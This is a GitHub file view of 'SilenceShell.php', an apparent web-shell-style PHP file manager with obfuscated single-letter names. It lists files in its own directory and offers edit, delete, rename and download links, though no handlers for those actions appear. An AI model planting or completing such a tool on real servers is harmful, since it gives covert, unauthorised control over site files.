-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSilenceShell.php
76 lines (68 loc) · 1.71 KB
/
SilenceShell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
// Initialisation
define('A', realpath(__DIR__));
$B = A;
function C($D) {
$E = realpath($D);
if ($E && strpos($E, A) === 0) {
return $E;
}
return A;
}
if (isset($_GET['F'])) {
$B = C($_GET['F']);
}
if (!is_dir($B)) {
$B = A;
}
function G($H) {
$I = scandir($H);
$J = [];
$K = [];
foreach ($I as $L) {
if ($L != "." && $L != "..") {
$M = $H . DIRECTORY_SEPARATOR . $L;
if (is_dir($M)) {
$J[] = $L;
} else {
$K[] = $L;
}
}
}
foreach ($J as $L) {
echo '<tr>';
echo '<td><a href="?F=' . urlencode($H . DIRECTORY_SEPARATOR . $L) . '">📁 ' . htmlspecialchars($L) . '</a></td>';
echo '<td>Folder</td>';
echo '<td>' . H($H, $L) . '</td>';
echo '</tr>';
}
foreach ($K as $L) {
echo '<tr>';
echo '<td>' . htmlspecialchars($L) . '</td>';
echo '<td>' . I($H . DIRECTORY_SEPARATOR . $L) . '</td>';
echo '<td>' . H($H, $L) . '</td>';
echo '</tr>';
}
}
function I($L) {
if (is_file($L)) {
$N = filesize($L);
if ($N >= 1048576) {
return round($N / 1048576, 2) . ' MB';
} elseif ($N >= 1024) {
return round($N / 1024, 2) . ' KB';
}
return $N . ' bytes';
}
return 'N/A';
}
function H($I, $J) {
$K = urlencode($I);
$L = urlencode($J);
$N = '<a href="?F=' . $K . '&edit=' . $L . '">Edit</a> | ';
$N .= '<a href="?F=' . $K . '&delete=' . $L . '">Delete</a> | ';
$N .= '<a href="?F=' . $K . '&rename=' . $L . '">Rename</a> | ';
$N .= '<a href="?F=' . $K . '&download=' . $L . '">Download</a>';
return $N;
}
?>